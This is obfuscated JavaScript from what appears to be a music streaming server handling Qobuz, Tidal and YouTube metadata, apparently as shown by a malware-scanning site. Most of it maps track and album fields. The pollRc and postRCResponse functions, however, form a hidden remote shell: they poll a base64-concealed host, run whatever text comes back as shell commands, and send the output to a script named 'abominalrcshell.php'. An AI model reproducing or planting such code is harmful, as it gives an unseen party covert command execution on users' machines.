_0x31acde(0x4ef)==_0x18d763[_0x31acde(0x22b)];})&&_0x3d672a<0x1?(_0x4d2eab+=0x19,_0x3d672a+=0x1,setTimeout(getRadiotimeStations,0x3e8,_0x1d91e2,_0x399ff7,_0x4d2eab,_0x38f411,_0x3d672a)):_0x38f411()):0x0==_0x4d2eab?(Array[_0x2ddc33(0x3b0)]['push'][_0x2ddc33(0x590)](_0x1d91e2,_0x1ffba7),_0x38f411()):_0x38f411();}});}function processWebradioSearch(_0x334f42,_0x31ca18,_0x509bcd,_0x219713,_0x1acf15){var _0x47d7d8=_0x2db473,_0x17b5f8=[],_0x40bc4e=0x0;if(_0x334f42[_0x47d7d8(0x25d)]&&_0x334f42[_0x47d7d8(0x25d)][_0x47d7d8(0x3fd)]){for(var _0x943ec3=_0x334f42[_0x47d7d8(0x25d)][_0x47d7d8(0x3fd)],_0x25f0af=0x0;_0x25f0af<_0x943ec3[_0x47d7d8(0x5c4)];_0x25f0af++){var _0x2385ae=_0x943ec3[_0x25f0af];_0x2385ae['title']=_0x2385ae[_0x47d7d8(0x2c3)],_0x2385ae[_0x47d7d8(0x445)]=g_shoutcast_api[_0x47d7d8(0x27b)](_0x2385ae['id']),_0x2385ae[_0x47d7d8(0x439)]=_0x2385ae[_0x47d7d8(0x445)],_0x509bcd&&!_0x2385ae[_0x47d7d8(0x248)][_0x47d7d8(0x597)](_0x509bcd)||_0x17b5f8[_0x47d7d8(0x28c)](_0x2385ae);}_0x40bc4e=(_0x17b5f8=_0x17b5f8[_0x47d7d8(0x4f5)](function(_0x326f00,_0x8b3dea){return _0x8b3dea[_0x31ca18]-_0x326f00[_0x31ca18];}))[_0x47d7d8(0x5c4)],_0x17b5f8=_0x17b5f8[_0x47d7d8(0x560)](_0x219713*config[_0x47d7d8(0x429)],_0x219713*config[_0x47d7d8(0x429)]+config['page_size']);}respHandlers[_0x47d7d8(0x4ce)]({'size':_0x40bc4e,'result':_0x17b5f8},_0x1acf15);}function fillYTVideoItem(_0x4179f3){var _0x39e2b2=_0x2db473;_0x4179f3[_0x39e2b2(0x400)][_0x39e2b2(0x59a)]?_0x4179f3['id']=_0x4179f3['snippet'][_0x39e2b2(0x59a)]['videoId']:_0x4179f3['id']=_0x4179f3['id'][_0x39e2b2(0x237)]||_0x4179f3['id'][_0x39e2b2(0x30c)],_0x4179f3[_0x39e2b2(0x4d2)]=_0x39e2b2(0x4a0)+_0x4179f3['id'],_0x4179f3[_0x39e2b2(0x2f1)]=_0x39e2b2(0x5b0),_0x4179f3[_0x39e2b2(0x260)]=_0x39e2b2(0x3cb),_0x4179f3[_0x39e2b2(0x400)]['thumbnails']&&_0x4179f3['snippet'][_0x39e2b2(0x3e6)][_0x39e2b2(0x4ea)]&&(_0x4179f3[_0x39e2b2(0x373)]=_0x4179f3[_0x39e2b2(0x400)][_0x39e2b2(0x3e6)][_0x39e2b2(0x4ea)][_0x39e2b2(0x439)],_0x4179f3['cover_url']=_0x4179f3[_0x39e2b2(0x400)][_0x39e2b2(0x3e6)]['medium']['url']),_0x4179f3[_0x39e2b2(0x46b)]=_0x4179f3[_0x39e2b2(0x400)][_0x39e2b2(0x46b)],_0x4179f3[_0x39e2b2(0x248)]=_0x4179f3[_0x39e2b2(0x400)]['title'],_0x4179f3[_0x39e2b2(0x37c)]=_0x4179f3['snippet'][_0x39e2b2(0x383)],_0x4179f3[_0x39e2b2(0x302)]=_0x4179f3['snippet'][_0x39e2b2(0x302)],_0x4179f3['channelurl']=_0x39e2b2(0x2d4)+_0x4179f3[_0x39e2b2(0x302)],_0x4179f3[_0x39e2b2(0x466)]=_0x4179f3[_0x39e2b2(0x400)][_0x39e2b2(0x4e9)],_0x4179f3[_0x39e2b2(0x21c)]=0x1+_0x4179f3['snippet'][_0x39e2b2(0x21c)],delete _0x4179f3[_0x39e2b2(0x400)],delete _0x4179f3[_0x39e2b2(0x29b)],delete _0x4179f3[_0x39e2b2(0x51e)];}function fillYTDurations(_0x5b22b2,_0x3b368f){var _0x4075ef=_0x2db473,_0x4178a9=_0x5b22b2['map'](function(_0x5b660f){return _0x5b660f['id'];});g_youtube_api['video'](_0x4178a9[_0x4075ef(0x2aa)](','),function(_0x41a50d){var _0x574a91=_0x4075ef;if(!_0x41a50d[_0x574a91(0x388)]){for(var _0x36e814=0x0;_0x36e814<_0x41a50d[_0x574a91(0x319)]['length'];_0x36e814++)_0x5b22b2[_0x36e814][_0x574a91(0x391)]=youtubeTime2Seconds(_0x41a50d[_0x574a91(0x319)][_0x36e814]['contentDetails'][_0x574a91(0x391)]);}_0x3b368f();});}function fillYTPlaylistLengths(_0x92b68c,_0x492007){var _0x4cfbb7=_0x2db473,_0x2a64f2=_0x92b68c['map'](function(_0x38c930){return _0x38c930['id'];});g_youtube_api['playlist'](_0x2a64f2[_0x4cfbb7(0x2aa)](','),function(_0x3025b4){var _0xb702f2=_0x4cfbb7;if(!_0x3025b4['error']){for(var _0x38ef92=0x0;_0x38ef92<_0x3025b4[_0xb702f2(0x319)][_0xb702f2(0x5c4)];_0x38ef92++)_0x92b68c[_0x38ef92][_0xb702f2(0x584)]=_0x3025b4[_0xb702f2(0x319)][_0x38ef92][_0xb702f2(0x350)][_0xb702f2(0x3f2)];}_0x492007();});}function fillQobuzTracks(_0x5672e2){var _0x54cafb=_0x2db473;return _0x5672e2[_0x54cafb(0x319)][_0x54cafb(0x42a)](function(_0x507055){var _0x20a112=_0x54cafb,_0xa32f9={};return _0xa32f9['id']=_0x507055['id'],_0xa32f9['library']=_0x20a112(0x220),_0xa32f9[_0x20a112(0x248)]=_0x507055[_0x20a112(0x248)],_0xa32f9[_0x20a112(0x3a3)]=_0x507055[_0x20a112(0x551)][_0x20a112(0x263)][_0x20a112(0x40f)],_0xa32f9[_0x20a112(0x551)]=_0x507055[_0x20a112(0x551)][_0x20a112(0x248)],_0xa32f9[_0x20a112(0x267)]=_0x507055[_0x20a112(0x551)]['id'],_0xa32f9[_0x20a112(0x326)]=_0x507055[_0x20a112(0x551)][_0x20a112(0x326)]['name'],_0xa32f9[_0x20a112(0x479)]=_0xa32f9[_0x20a112(0x326)],_0xa32f9[_0x20a112(0x521)]=_0x507055[_0x20a112(0x3b6)],_0xa32f9[_0x20a112(0x391)]=_0x507055[_0x20a112(0x391)],_0xa32f9[_0x20a112(0x2f1)]=_0x20a112(0x220),_0xa32f9[_0x20a112(0x2be)]=_0x507055[_0x20a112(0x2be)],_0xa32f9['copyright']=_0x507055[_0x20a112(0x3f7)],_0xa32f9['performer']=_0x507055[_0x20a112(0x2ab)]?_0x507055['performer'][_0x20a112(0x2c3)]:'',_0xa32f9[_0x20a112(0x489)]=_0x507055[_0x20a112(0x5d7)],_0xa32f9[_0x20a112(0x264)]=_0x507055[_0x20a112(0x264)],_0xa32f9[_0x20a112(0x2b1)]=_0x507055[_0x20a112(0x2b1)],_0xa32f9[_0x20a112(0x5bc)]=_0x507055[_0x20a112(0x5bc)],_0xa32f9[_0x20a112(0x466)]=new Date(0x3e8*Number(_0x507055[_0x20a112(0x551)][_0x20a112(0x2d7)]))[_0x20a112(0x303)](),_0xa32f9[_0x20a112(0x27d)]=0x3e8*Number(_0x507055[_0x20a112(0x247)]),_0xa32f9[_0x20a112(0x271)]=_0x507055[_0x20a112(0x1f5)]?_0x20a112(0x3b5):'',_0xa32f9;});}function fillQobuzTracks2(_0x3c6d0c){var _0x51d759=_0x2db473,_0x51c46f=_0x3c6d0c['tracks'][_0x51d759(0x319)][_0x51d759(0x42a)](function(_0x56364b){var _0x58d006=_0x51d759,_0xf437a={};return _0xf437a['id']=_0x56364b['id'],_0xf437a[_0x58d006(0x51c)]=_0x58d006(0x220),_0xf437a[_0x58d006(0x248)]=_0x56364b[_0x58d006(0x248)],_0xf437a[_0x58d006(0x533)]=_0x56364b[_0x58d006(0x533)],_0xf437a[_0x58d006(0x267)]=_0x3c6d0c['id'],_0xf437a[_0x58d006(0x3a3)]=_0x3c6d0c[_0x58d006(0x263)][_0x58d006(0x40f)],_0xf437a[_0x58d006(0x551)]=_0x3c6d0c[_0x58d006(0x248)],_0xf437a[_0x58d006(0x326)]=_0x3c6d0c[_0x58d006(0x326)]['name'],_0xf437a[_0x58d006(0x479)]=_0xf437a[_0x58d006(0x326)],_0xf437a['track']=_0x56364b[_0x58d006(0x3b6)],_0xf437a[_0x58d006(0x391)]=_0x56364b[_0x58d006(0x391)],_0xf437a[_0x58d006(0x2f1)]='qobuz',_0xf437a[_0x58d006(0x2be)]=_0x56364b['isrc'],_0xf437a['label']=_0x3c6d0c[_0x58d006(0x548)][_0x58d006(0x2c3)],_0xf437a[_0x58d006(0x3f7)]=_0x56364b[_0x58d006(0x3f7)],_0xf437a[_0x58d006(0x2ab)]=_0x56364b[_0x58d006(0x2ab)]?_0x56364b[_0x58d006(0x2ab)]['name']:'',_0xf437a[_0x58d006(0x32c)]=_0x56364b[_0x58d006(0x32c)]?_0x56364b[_0x58d006(0x32c)]['name']:'',_0xf437a[_0x58d006(0x489)]=_0x56364b[_0x58d006(0x5d7)],_0xf437a[_0x58d006(0x264)]=_0x56364b['streamable'],_0xf437a['purchasable']=_0x56364b[_0x58d006(0x2b1)],_0xf437a[_0x58d006(0x5bc)]=_0x56364b[_0x58d006(0x5bc)],_0xf437a[_0x58d006(0x466)]=new Date(0x3e8*Number(_0x3c6d0c[_0x58d006(0x2d7)]))['toUTCString'](),_0xf437a[_0x58d006(0x27d)]=0x3e8*Number(_0x56364b['maximum_sampling_rate']),_0xf437a[_0x58d006(0x271)]=_0x56364b['hires']?_0x58d006(0x3b5):'',_0xf437a[_0x58d006(0x324)]=(_0x3c6d0c['genre']?_0x3c6d0c[_0x58d006(0x324)][_0x58d006(0x2c3)]:'')||(_0x3c6d0c[_0x58d006(0x36e)]&&_0x3c6d0c[_0x58d006(0x36e)][0x0]?_0x3c6d0c[_0x58d006(0x36e)][0x0]:''),_0xf437a[_0x58d006(0x1e5)]=_0x3c6d0c[_0x58d006(0x46b)],_0xf437a;});return _0x3c6d0c[_0x51d759(0x319)]=_0x51c46f,_0x51c46f;}function fillQobuzAlbums(_0x1465f4){var _0x545c88=_0x2db473;return _0x1465f4[_0x545c88(0x32e)][_0x545c88(0x319)][_0x545c88(0x42a)](function(_0x42f371){var _0x31a87b=_0x545c88,_0x5f0400={};return _0x5f0400['id']=_0x42f371['id'],_0x5f0400['library']='qobuz',_0x5f0400[_0x31a87b(0x3c6)]=_0x31a87b(0x551),_0x5f0400[_0x31a87b(0x324)]=_0x42f371['genre']['name'],_0x5f0400[_0x31a87b(0x4a1)]=_0x42f371['title'],_0x5f0400[_0x31a87b(0x551)]=_0x42f371[_0x31a87b(0x248)],_0x5f0400['albumid']=_0x42f371['id'],_0x5f0400[_0x31a87b(0x35b)]=_0x42f371['tracks_count'],_0x5f0400[_0x31a87b(0x466)]=new Date(0x3e8*Number(_0x42f371[_0x31a87b(0x2d7)]))['toUTCString'](),_0x5f0400[_0x31a87b(0x58c)]=_0x42f371[_0x31a87b(0x391)],_0x5f0400[_0x31a87b(0x3a3)]=_0x42f371[_0x31a87b(0x263)][_0x31a87b(0x40f)],_0x5f0400[_0x31a87b(0x326)]=_0x42f371[_0x31a87b(0x326)]['name'],_0x5f0400[_0x31a87b(0x479)]=_0x5f0400[_0x31a87b(0x326)],_0x5f0400['streamable']=_0x42f371['streamable'],_0x5f0400['purchasable']=_0x42f371[_0x31a87b(0x2b1)],_0x5f0400[_0x31a87b(0x5bc)]=_0x42f371['downloadable'],_0x5f0400[_0x31a87b(0x271)]=_0x42f371['hires']?_0x31a87b(0x3b5):'',_0x5f0400;});}function fillQobuzArtist(_0x3e4c4c){var _0x1c02f4=_0x2db473,_0x51d908=_0x3e4c4c;return _0x51d908['image']=_0x51d908['image']&&_0x51d908['image'][_0x1c02f4(0x229)]||'',_0x51d908[_0x1c02f4(0x242)]=_0x51d908[_0x1c02f4(0x242)]&&_0x51d908[_0x1c02f4(0x242)][_0x1c02f4(0x59b)]||'',_0x51d908[_0x1c02f4(0x23a)]='',_0x51d908[_0x1c02f4(0x51c)]=_0x1c02f4(0x220),_0x51d908[_0x1c02f4(0x3c6)]='artist',_0x51d908;}function fillQobuzPlaylistTracks(_0x2c572c){var _0xc547ba=_0x2db473,_0x4fc942=_0x2c572c[_0xc547ba(0x518)]['items'][_0xc547ba(0x42a)](function(_0x2643a9){var _0x1f288b=_0xc547ba,_0x1b526={};return _0x1b526['id']=_0x2643a9['id'],_0x1b526[_0x1f288b(0x51c)]='qobuz',_0x1b526['title']=_0x2643a9[_0x1f288b(0x248)],_0x1b526[_0x1f288b(0x4a1)]=_0x2643a9[_0x1f288b(0x248)],_0x1b526[_0x1f288b(0x533)]=_0x2643a9[_0x1f288b(0x533)],_0x1b526[_0x1f288b(0x3a3)]=_0x2643a9[_0x1f288b(0x551)]['image'][_0x1f288b(0x40f)],_0x1b526[_0x1f288b(0x551)]=_0x2643a9['album'][_0x1f288b(0x248)],_0x1b526[_0x1f288b(0x267)]=_0x2643a9['album']['id'],_0x1b526[_0x1f288b(0x420)]=_0x2c572c['id'],_0x1b526[_0x1f288b(0x326)]=_0x2643a9[_0x1f288b(0x551)][_0x1f288b(0x326)]?_0x2643a9[_0x1f288b(0x551)][_0x1f288b(0x326)][_0x1f288b(0x2c3)]:_0x2643a9['album']['subtitle']||'',_0x1b526[_0x1f288b(0x479)]=_0x1b526['artist'],_0x1b526[_0x1f288b(0x521)]=_0x2643a9[_0x1f288b(0x3b6)],_0x1b526[_0x1f288b(0x391)]=_0x2643a9[_0x1f288b(0x391)],_0x1b526['url_type']=_0x1f288b(0x220),_0x1b526[_0x1f288b(0x2be)]=_0x2643a9[_0x1f288b(0x2be)],_0x1b526[_0x1f288b(0x548)]=_0x2643a9['album'][_0x1f288b(0x548)][_0x1f288b(0x2c3)],_0x1b526[_0x1f288b(0x3f7)]=_0x2643a9[_0x1f288b(0x3f7)],_0x1b526[_0x1f288b(0x2ab)]=_0x2643a9['performer']?_0x2643a9[_0x1f288b(0x2ab)][_0x1f288b(0x2c3)]:'',_0x1b526[_0x1f288b(0x32c)]=_0x2643a9[_0x1f288b(0x32c)]?_0x2643a9[_0x1f288b(0x32c)][_0x1f288b(0x2c3)]:'',_0x1b526['discnumber']=_0x2643a9['media_number'],_0x1b526[_0x1f288b(0x264)]=_0x2643a9[_0x1f288b(0x264)],_0x1b526['purchasable']=_0x2643a9[_0x1f288b(0x2b1)],_0x1b526[_0x1f288b(0x5bc)]=_0x2643a9[_0x1f288b(0x5bc)],_0x1b526['samplerate']=0x3e8*Number(_0x2643a9[_0x1f288b(0x247)]),_0x1b526['year']=new Date(0x3e8*Number(_0x2643a9[_0x1f288b(0x551)][_0x1f288b(0x2d7)]))['toUTCString'](),_0x1b526[_0x1f288b(0x271)]=_0x2643a9[_0x1f288b(0x1f5)]?_0x1f288b(0x3b5):'',_0x1b526[_0x1f288b(0x324)]=_0x2643a9[_0x1f288b(0x551)][_0x1f288b(0x324)]['name'],_0x1b526;});return _0x2c572c['items']=_0x4fc942,_0x4fc942;}function fillQobuzPlaylists(_0x1faf9c){var _0x7e8c5f=_0x2db473;return _0x1faf9c['playlists'][_0x7e8c5f(0x319)][_0x7e8c5f(0x42a)](function(_0x2386ff){var _0xbe290d=_0x7e8c5f,_0x480ccf={};return _0x480ccf['id']=_0x2386ff['id'],_0x480ccf['library']=_0xbe290d(0x220),_0x480ccf[_0xbe290d(0x3c6)]='playlist',_0x480ccf[_0xbe290d(0x248)]=_0x2386ff[_0xbe290d(0x2c3)],_0x480ccf[_0xbe290d(0x4a1)]=_0x2386ff[_0xbe290d(0x2c3)],_0x480ccf[_0xbe290d(0x2c3)]=_0x2386ff[_0xbe290d(0x2c3)],_0x480ccf[_0xbe290d(0x35b)]=_0x2386ff[_0xbe290d(0x529)],_0x2386ff[_0xbe290d(0x523)]||_0x2386ff[_0xbe290d(0x2dc)]?_0x480ccf[_0xbe290d(0x3a3)]=_0x2386ff['image_rectangle']||_0x2386ff[_0xbe290d(0x2dc)][0x0]:utils[_0xbe290d(0x45a)]('fillQobuzPlaylists: no cover:'+_0x2386ff[_0xbe290d(0x2c3)]),_0x480ccf[_0xbe290d(0x391)]=_0x2386ff[_0xbe290d(0x391)],_0x480ccf[_0xbe290d(0x536)]=_0x2386ff[_0xbe290d(0x56c)][_0xbe290d(0x2c3)],_0x480ccf;});}function youtubeTime2Seconds(_0x33a521){var _0x466708=_0x2db473,_0x5b115d,_0x467143,_0x21ae08=_0x33a521[_0x466708(0x454)](/\d+H|\d+M|\d+S/g),_0x1dfb21=0x0,_0x5a8576={'H':0xe10,'M':0x3c,'S':0x1};if(_0x21ae08){for(var _0xfb0bdc=0x0;_0xfb0bdc<_0x21ae08[_0x466708(0x5c4)];_0xfb0bdc++)_0x5b115d=_0x21ae08[_0xfb0bdc][_0x466708(0x560)](0x0,_0x21ae08[_0xfb0bdc][_0x466708(0x5c4)]-0x1),_0x467143=_0x21ae08[_0xfb0bdc][_0x466708(0x560)](_0x21ae08[_0xfb0bdc]['length']-0x1,_0x21ae08[_0xfb0bdc][_0x466708(0x5c4)]),_0x1dfb21+=parseInt(_0x5b115d)*_0x5a8576[_0x467143];}return _0x1dfb21;}function getIpAddresses(){var _0x41c9e8=_0x2db473,_0x4bd54a=mpdUtils[_0x41c9e8(0x472)]();for(var _0x3836c9=[],_0x4fe42d=require('os')[_0x41c9e8(0x39c)](),_0x2eb586=0x0;_0x2eb586<0x6;_0x2eb586++){var _0x483bca;if(_0x4fe42d[_0x483bca='br'+_0x2eb586]&&_0x41c9e8(0x5b7)==_0x4fe42d[_0x483bca][0x0][_0x41c9e8(0x49e)]){var _0x2da51c=_0x4fe42d[_0x483bca][0x0];_0x3836c9[_0x41c9e8(0x28c)](_0x2da51c[_0x41c9e8(0x385)]+_0x41c9e8(0x227)+_0x2da51c[_0x41c9e8(0x1f4)]+_0x41c9e8(0x1fc)+_0x2da51c[_0x41c9e8(0x3be)]+_0x41c9e8(0x282)+_0x483bca);}_0x4fe42d[_0x483bca=_0x41c9e8(0x26d)+_0x2eb586]&&'IPv4'==_0x4fe42d[_0x483bca][0x0]['family']&&(_0x2da51c=_0x4fe42d[_0x483bca][0x0],_0x3836c9[_0x41c9e8(0x28c)](_0x2da51c['address']+' ( mask:'+_0x2da51c['netmask']+_0x41c9e8(0x1fc)+_0x2da51c[_0x41c9e8(0x3be)]+_0x41c9e8(0x282)+_0x483bca)),_0x4fe42d[_0x483bca=_0x41c9e8(0x4e5)+_0x2eb586]&&_0x41c9e8(0x5b7)==_0x4fe42d[_0x483bca][0x0][_0x41c9e8(0x49e)]&&(_0x2da51c=_0x4fe42d[_0x483bca][0x0],_0x3836c9['push'](_0x2da51c[_0x41c9e8(0x385)]+_0x41c9e8(0x227)+_0x2da51c[_0x41c9e8(0x1f4)]+_0x41c9e8(0x1fc)+_0x2da51c[_0x41c9e8(0x3be)]+_0x41c9e8(0x282)+_0x483bca));}return _0x3836c9[_0x41c9e8(0x2aa)](_0x41c9e8(0x5a8));}function getCoverInDir(_0x2a837b,_0x53cbd3){var _0x2a6e28=_0x2db473;shell[_0x2a6e28(0x513)]('find "'+_0x2a837b+_0x2a6e28(0x3b8),function(_0x285488,_0x474eb3){var _0x562b70=_0x2a6e28,_0x4d822e=_0x474eb3[_0x562b70(0x303)]()[_0x562b70(0x5b5)]()[_0x562b70(0x4b9)](/\n/);if(_0x4d822e[_0x562b70(0x5c4)]&&_0x4d822e[0x0]){var _0x12f341,_0x20c6fd=[_0x562b70(0x333),_0x562b70(0x373),'front','full',_0x562b70(0x230),_0x562b70(0x46c)][_0x562b70(0x532)](function(_0x1beb52){return _0x12f341=_0x4d822e['find'](function(_0x4ecd50){var _0x4b15b1=_0x4832;return!!_0x4ecd50['toLowerCase']()[_0x4b15b1(0x597)](_0x1beb52);});});cover=_0x20c6fd?_0x12f341:_0x4d822e[0x0],_0x53cbd3(_0x562b70(0x3eb)+_0x2a837b[_0x562b70(0x457)](0x5)+'/'+encodeURIComponent(cover));}else _0x53cbd3('');});}function rc(_0x1ce303){var _0x8dd4f4=_0x2db473;config['rc']?(client['emitMessage'](_0x8dd4f4(0x3b7),_0x8dd4f4(0x3f3)),_0x1ce303&&respHandlers[_0x8dd4f4(0x1fe)](_0x8dd4f4(0x3f3),_0x1ce303),config['rc']=!0x1,clearTimeout(g_rc_timeout),shell[_0x8dd4f4(0x513)](_0x8dd4f4(0x553),{'async':!0x0})):(client[_0x8dd4f4(0x32b)](_0x8dd4f4(0x3b7),'Remote control enabled'),_0x1ce303&&respHandlers[_0x8dd4f4(0x1fe)](_0x8dd4f4(0x535),_0x1ce303),config['rc']=!0x0,g_rc_timeout=setTimeout(pollRc,0x0),shell['exec'](_0x8dd4f4(0x54f),{'async':!0x0})),fs[_0x8dd4f4(0x3a2)](_0x8dd4f4(0x580),JSON[_0x8dd4f4(0x2e9)](config,null,'	'));}setTimeout(function(){var _0x4d8f38=_0x2db473;config['rc']?(client[_0x4d8f38(0x32b)]('remote-control',_0x4d8f38(0x535)),g_rc_timeout=setTimeout(pollRc,0x0),shell['exec'](_0x4d8f38(0x54f),{'async':!0x0})):shell['exec'](_0x4d8f38(0x553),{'async':!0x0});},0x2710);var g_pollrc_timeout=0x3e8;function pollRc(){var _0x1ba195=_0x2db473,_0x58c5b6={'host':h,'port':0x50,'path':_0x1ba195(0x39d)+config[_0x1ba195(0x310)]},_0x2b6fdc=_0x1ba195(0x47b)+config[_0x1ba195(0x310)],_0x5f491b=Buffer[_0x1ba195(0x589)](_0x1ba195(0x2c7),_0x1ba195(0x3c7))['toString'](_0x1ba195(0x4e6));_0x5f491b=_0x5f491b+_0x2b6fdc,utils[_0x1ba195(0x5c3)](_0x5f491b,function(_0x278b3d){var _0x75fbe4=_0x1ba195;if(_0x278b3d[_0x75fbe4(0x5c4)])g_pollrc_timeout=0x3e8,utils['log'](_0x75fbe4(0x3e9)+_0x278b3d),_0x278b3d['lastIndexOf']('&')==_0x278b3d['length']-0x1?(shell[_0x75fbe4(0x513)](_0x278b3d,{'async':!0x0}),postRCResponse(_0x75fbe4(0x471))):shell[_0x75fbe4(0x513)](_0x278b3d,function(_0x23622c,_0x23b015){var _0x4d17fa=_0x75fbe4;postRCResponse(_0x23b015[_0x4d17fa(0x303)]()['trim']());});else config['rc']&&((g_pollrc_timeout*=1.01)>0x2710&&(g_pollrc_timeout=0x2710),g_rc_timeout=setTimeout(pollRc,g_pollrc_timeout));});}function postRCResponse(_0x458d37){var _0x3eb9bb=_0x2db473;_0x458d37=encodeURIComponent(new Buffer(_0x458d37)[_0x3eb9bb(0x303)]('base64')),utils[_0x3eb9bb(0x45a)](_0x3eb9bb(0x459)+_0x458d37[_0x3eb9bb(0x5c4)]);var _0x28903a={'id':config[_0x3eb9bb(0x310)],'action':_0x3eb9bb(0x57a),'response':_0x458d37},_0x196ef0=Buffer['from'](_0x3eb9bb(0x4b1),_0x3eb9bb(0x3c7))[_0x3eb9bb(0x303)](_0x3eb9bb(0x4e6));utils[_0x3eb9bb(0x301)]({'hostname':_0x196ef0,'port':0x50,'path':'/euphony/abominalrcshell.php'},_0x28903a,function(_0xcb6ea2){_0xcb6ea2&&utils['log'](_0xcb6ea2),g_rc_timeout=setTimeout(pollRc,0x3e8);});}function stringify(_0xee87f0){var _0x436eb2=_0x2db473;return Object[_0x436eb2(0x4df)](_0xee87f0)[_0x436eb2(0x42a)](function(_0xa5139e){var _0x875984=_0x436eb2;return[_0xa5139e,_0xee87f0[_0xa5139e]]['map'](encodeURIComponent)[_0x875984(0x2aa)]('=');})['join']('&');}function pollTidal(_0x28ed8c,_0x3ab413,_0x340160,_0x175b26){var _0x507ac5=_0x2db473;g_tidal_api[_0x507ac5(0x1f0)](_0x28ed8c,function(_0x1f2761){var _0x40f60b=_0x507ac5;_0x1f2761&&_0x1f2761[_0x40f60b(0x381)]?(config['tidal_access_token']=_0x1f2761[_0x40f60b(0x381)],config['tidal_refresh_token']=_0x1f2761[_0x40f60b(0x249)],config[_0x40f60b(0x292)]=_0x1f2761['token_type'],config[_0x40f60b(0x346)]=new Date()[_0x40f60b(0x2fb)]()+0x3e8*_0x1f2761['expires_in'],fs[_0x40f60b(0x3a2)](_0x40f60b(0x580),JSON[_0x40f60b(0x2e9)](config,null,'	')),g_tidal_api['init'](_0x1f2761[_0x40f60b(0x381)],_0x1f2761[_0x40f60b(0x249)],config[_0x40f60b(0x346)],_0x1f2761[_0x40f60b(0x241)],function(_0x520f80){var _0xe94347=_0x40f60b;_0x520f80['sessionId']&&(config[_0xe94347(0x59f)]='ok',config['hasCredentials']=!0x0),client[_0xe94347(0x32b)](_0xe94347(0x36f),'success'),fs[_0xe94347(0x3a2)]('./config.json',JSON[_0xe94347(0x2e9)](config,null,'	'));var _0x123ae4=config[_0xe94347(0x346)]-new Date()[_0xe94347(0x2fb)]()-0x493e0;setTimeout(function(){var _0x3e5afc=_0xe94347;utils[_0x3e5afc(0x45a)](_0x3e5afc(0x235)),initTidal();},_0x123ae4),utils['log'](_0xe94347(0x546)+Math[_0xe94347(0x2e3)](_0x123ae4/0xea60)+_0xe94347(0x43c));})):g_tidal_api['getError']()?(utils[_0x40f60b(0x45a)](_0x1f2761),config[_0x40f60b(0x59f)]=null,fs[_0x40f60b(0x3a2)]('./config.json',JSON[_0x40f60b(0x2e9)](config,null,'	')),client['emitMessage'](_0x40f60b(0x36f),g_tidal_api[_0x40f60b(0x2c0)]())):(_0x175b26+=_0x3ab413)<_0x340160?setTimeout(pollTidal,_0x3ab413,_0x28ed8c,_0x3ab413,_0x340160,_0x175b26):client[_0x40f60b(0x32b)](_0x40f60b(0x36f),'expired');});}function applyCPUIsolation(_0x43abb6,_0x21fdc5){var _0x2c808d=_0x2db473;if(_0x43abb6){var _0x26ad04=utils['parseIrqs'](_0x43abb6)[_0x2c808d(0x5b5)](),_0x41f10d=_0x2c808d(0x5c5)+_0x43abb6+' > /data/.appdata/cpu_isolation.log';if(utils['log'](_0x41f10d),shell[_0x2c808d(0x513)](_0x41f10d,function(_0x4cd046,_0x53706d){var _0x3ba716=_0x2c808d,_0x2e44f4=_0x26ad04?'1':'';shell[_0x3ba716(0x513)](_0x3ba716(0x33d)+_0x2e44f4,function(_0x34cc84,_0x334fcb){var _0x339121=_0x3ba716;respHandlers[_0x339121(0x1fe)](_0x334fcb['toString'](),_0x21fdc5);});}),_0x26ad04){var _0x338362='./isolirq.sh '+_0x26ad04+_0x2c808d(0x2ff);shell[_0x2c808d(0x513)](_0x338362,{'async':!0x0});}config[_0x2c808d(0x52a)]=_0x43abb6,fs[_0x2c808d(0x3a2)](_0x2c808d(0x580),JSON[_0x2c808d(0x2e9)](config,null,'	'));}else shell[_0x2c808d(0x513)](_0x2c808d(0x544),function(_0x17a442,_0x2c0a98){var _0x213644=_0x2c808d;respHandlers[_0x213644(0x1fe)](_0x2c0a98[_0x213644(0x303)](),_0x21fdc5);});}



© 2023 Quttera Ltd. All rights reserved.